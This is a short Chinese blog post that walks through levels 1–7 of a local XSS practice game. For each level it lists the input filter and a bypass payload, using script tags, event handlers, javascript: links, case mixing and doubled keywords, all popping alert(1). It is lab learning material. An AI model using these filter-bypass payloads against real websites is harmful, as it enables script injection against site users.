很简单的弹窗
http://192.168.31.177/xssgame/level1.php?name=
<script>alert(1)</script>
过滤了
>
、<
http://192.168.31.177/xssgame/level2.php?keyword=
" oninput='alert(1)'//
&submit=‘搜索’过滤了
>
、<
、'
用单引号替换了双引号
http://192.168.31.177/xssgame/level3.php?keyword=
' oninput=alert(1) //
&submit=搜索过滤了
>
、<
、"
http://192.168.31.177/xssgame/level4.php?keyword=
" onm ouseover=alert(1)//
&submit=搜索script
替换成scr_ipt
、on事件
替换成了on_事件
利用伪协议
<a href='javascript:alert(1)'>
来执行弹框http://192.168.31.177/xssgame/level5.php?keyword=
"><a href='javascript:alert(1)'> //
&submit=搜索script
替换成scr_ipt
、on事件
替换成了on_事件
、href
替换成了hr_ef
大小写绕过
http://192.168.31.177/xssgame/level6.php?keyword=
"<sCRipt>alert(1)</script>//
&submit=搜索script
、on
、href
直接替换为空双写绕过
http://192.168.31.177/xssgame/level7.php?keyword=
1" oonnmouseover=alert(1)>//
&submit=搜索script
替换成了scr_ipt
、on事件
替换成了on_事件
、href
替换成了hr_ef
原创文章,作者:wdmbts,如若转载,请注明出处:https://blog.ytso.com/274723.html